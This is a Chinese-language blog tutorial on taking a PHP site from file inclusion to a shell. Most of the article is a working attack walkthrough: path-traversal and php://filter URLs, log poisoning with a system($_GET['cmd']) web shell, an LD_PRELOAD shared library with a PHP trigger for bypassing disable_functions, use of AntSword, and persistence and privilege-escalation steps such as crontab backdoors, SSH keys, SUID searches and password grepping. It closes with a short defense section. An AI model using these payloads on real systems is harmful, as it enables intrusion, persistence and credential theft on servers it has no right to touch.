news 2026/8/17 18:26:24

新手必看:如何利用文件包含漏洞从零到getshell(附蚁剑绕过disable_function实战)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手必看:如何利用文件包含漏洞从零到getshell(附蚁剑绕过disable_function实战)

文件包含漏洞实战指南:从漏洞挖掘到权限提升

当你第一次听说"文件包含漏洞"这个词时,可能会觉得它听起来既神秘又危险。作为一名刚踏入网络安全领域的新手研究员,理解这类漏洞的运作机制和利用方式至关重要。文件包含漏洞(LFI/RFI)在Web应用安全漏洞中占据重要地位,它允许攻击者包含并执行服务器上的任意文件,甚至可能导致整个系统沦陷。

1. 文件包含漏洞基础认知

文件包含漏洞主要分为两种类型:本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)。前者允许包含服务器本地的文件,后者则能包含远程服务器上的文件。这两种漏洞通常源于开发人员未对用户输入进行严格过滤,直接将用户可控的参数拼接到文件路径中。

1.1 漏洞产生的根本原因

在PHP应用中,文件包含通常通过以下函数实现:

include() include_once() require() require_once()

当这些函数接收用户输入作为参数且未做适当过滤时,就可能产生漏洞。例如:

$page = $_GET['page']; include($page . '.php');

攻击者可以通过构造特殊的page参数来包含非预期的文件。这种漏洞的危害性在于,它不仅可能泄露敏感文件内容,在特定条件下还能导致代码执行。

1.2 常见利用手法

  • 读取敏感文件:如/etc/passwd、配置文件等
  • 日志文件注入:通过User-Agent或访问日志写入PHP代码
  • PHP伪协议利用:使用php://filter读取文件内容
  • 会话文件包含:利用PHP会话文件执行代码

注意:在实际测试中,务必获得目标系统的明确授权。未经授权的测试可能触犯法律。

2. 漏洞发现与初步利用

发现文件包含漏洞通常从信息收集开始。通过仔细审查应用功能和参数,寻找可能包含文件的地方。

2.1 信息收集阶段

首先,我们需要识别应用中可能存在包含功能的点:

  1. 观察URL参数,特别是那些看起来与页面或模板相关的参数
  2. 检查网站源代码,寻找动态加载内容的迹象
  3. 使用工具扫描目录和文件,寻找备份文件或配置文件

一个典型的漏洞URL可能长这样:

http://example.com/index.php?page=about

尝试修改page参数的值,观察系统反应:

http://example.com/index.php?page=../../../../etc/passwd

2.2 使用PHP伪协议读取文件

当直接包含文件失败时,可以尝试PHP伪协议。最常用的是php://filter:

php://filter/read=convert.base64-encode/resource=index.php

这种方法会将目标文件内容以base64编码形式输出,避免直接包含导致的语法错误。解码后即可获取源代码。

以下是一个典型的利用流程:

# 使用curl获取base64编码的源码 curl "http://example.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php" # 解码获取的base64字符串 echo "PD9waHAKICAgIC8vIFNlbnNpdGl2ZSBjb2RlIGhlcmUKPz4=" | base64 -d

3. 从文件包含到代码执行

单纯的读取文件已经很有价值,但攻击者往往追求更高的目标——代码执行。这需要一些技巧和合适的条件。

3.1 日志文件注入

如果服务器日志文件可读且可包含,这是一个经典的攻击路径:

  1. 修改User-Agent为PHP代码:
    curl -A "<?php system($_GET['cmd']); ?>" http://example.com/
  2. 包含日志文件执行代码:
    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id

3.2 利用上传功能

如果应用有文件上传功能,即使限制严格,也可能通过以下方式绕过:

上传限制绕过方法
扩展名检查使用双扩展名(.php.jpg)
内容检查在图片中嵌入PHP代码
大小限制制作最小可执行PHP文件

上传后,通过文件包含漏洞执行上传的文件。

4. 绕过disable_function限制

即使获得了webshell,服务器可能配置了disable_function限制关键函数。这时需要更高级的绕过技术。

4.1 常见被禁用的函数

通常被禁用的函数包括但不限于:

  • system, exec, shell_exec
  • passthru, popen, proc_open
  • pcntl_exec, dl
  • mail (在某些利用链中)

4.2 绕过技术概览

有多种方法可以绕过这些限制:

  1. LD_PRELOAD技巧:通过劫持共享库函数
  2. PHP扩展利用:如Imagick、FFI等
  3. 反序列化漏洞:利用存在问题的类
  4. procfs技巧:通过/proc/self/mem写入

以下是一个典型的LD_PRELOAD绕过示例:

首先创建恶意共享库:

// evil.c #include <stdlib.h> #include <stdio.h> #include <string.h> void _init() { unsetenv("LD_PRELOAD"); system("id > /tmp/exploit"); }

编译并上传:

gcc -shared -fPIC evil.c -o evil.so

然后通过PHP执行:

<?php putenv("LD_PRELOAD=/tmp/evil.so"); mail("","","",""); ?>

4.3 使用蚁剑插件绕过

现代webshell管理工具如蚁剑(AntSword)提供了方便的插件系统:

  1. 在蚁剑插件市场搜索"绕过disable_function"
  2. 安装合适的插件(如"绕过disable_functions")
  3. 连接webshell后,右键选择插件
  4. 根据目标环境选择合适的绕过方式
  5. 执行后获得无限制的shell

提示:不同PHP版本和环境可能需要尝试不同的绕过方法。插件通常会提供多种选项。

5. 权限维持与提升

获得初始访问权限后,攻击者通常会寻求持久化访问和权限提升。

5.1 常见的持久化方法

  • 写入后门文件到web目录
  • 修改现有PHP文件添加恶意代码
  • 创建计划任务(crontab)
  • 添加SSH公钥到authorized_keys

5.2 权限提升技巧

当当前用户权限有限时,可以尝试以下提权方法:

  1. SUID提权

    find / -perm -4000 2>/dev/null

    查找具有SUID位的程序,利用已知漏洞

  2. 内核漏洞利用

    uname -a

    识别系统内核版本,寻找对应的提权exp

  3. 密码和配置文件查找

    grep -r "password" /var/www/ 2>/dev/null
  4. 数据库提权: 如果拥有数据库凭证,可能通过UDF提权

6. 防御措施与最佳实践

理解了攻击方法后,更重要的是知道如何防御。

6.1 开发层面的防护

  • 永远不要直接使用用户输入作为包含路径
  • 使用白名单机制限制可包含的文件
  • 设置open_basedir限制PHP可访问的目录
  • 禁用不必要的PHP函数

安全的包含代码示例:

$allowed = ['home', 'about', 'contact']; $page = $_GET['page']; if(in_array($page, $allowed)) { include("/templates/" . $page . ".php"); } else { include("/templates/error.php"); }

6.2 系统配置加固

  • 定期更新PHP和所有组件
  • 配置适当的文件权限
  • 使用SELinux/AppArmor限制进程能力
  • 监控日志中的可疑活动

6.3 安全测试checklist

在发布应用前,应检查以下项目:

检查项方法
文件包含漏洞尝试包含非预期文件
目录遍历使用../测试
文件上传尝试上传恶意文件
错误配置检查phpinfo暴露的信息
敏感信息扫描备份文件和配置文件

在实际渗透测试中,文件包含漏洞往往只是攻击链的一环。真正有效的安全防护需要多层次、全方位的策略。从代码审计到系统加固,从输入验证到输出编码,每个环节都不容忽视。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/17 18:21:59

KART-RERANK模型在计算机组成原理教学中的趣味应用:硬件模块关联猜谜

KART-RERANK模型在计算机组成原理教学中的趣味应用&#xff1a;硬件模块关联猜谜 计算机组成原理这门课&#xff0c;对很多学生来说&#xff0c;就像在学一门“外星语”。CPU、内存、总线、寄存器……这些名词一个个蹦出来&#xff0c;它们之间到底是怎么“说话”、怎么“合作…

作者头像 李华
网站建设 2026/8/17 18:24:44

C语言程序设计在线考试系统毕业论文

目录题目摘要引言系统需求分析系统设计核心功能实现系统测试结论与展望参考文献附录&#xff08;可选&#xff09;项目技术支持源码LW获取详细视频演示 &#xff1a;文章底部获取博主联系方式&#xff01;同行可合作题目 基于C语言的在线考试系统设计与实现 摘要 简要说明研…

作者头像 李华
网站建设 2026/7/14 16:15:06

Gemma-3-12b-it流式生成实战解析:TextIteratorStreamer集成与调参

Gemma-3-12b-it流式生成实战解析&#xff1a;TextIteratorStreamer集成与调参 1. 引言&#xff1a;为什么你需要关注流式生成&#xff1f; 想象一下&#xff0c;你向一个大模型提问&#xff0c;然后盯着屏幕&#xff0c;看着光标闪烁&#xff0c;等待了十几秒甚至更久&#x…

作者头像 李华
网站建设 2026/7/14 16:15:03

突破网络限制:Native Overleaf重构学术写作工作流

突破网络限制&#xff1a;Native Overleaf重构学术写作工作流 【免费下载链接】NativeOverleaf Next-level academia! Repository for the Native Overleaf project, attempting to integrate Overleaf with native OS features for macOS, Linux and Windows. 项目地址: htt…

作者头像 李华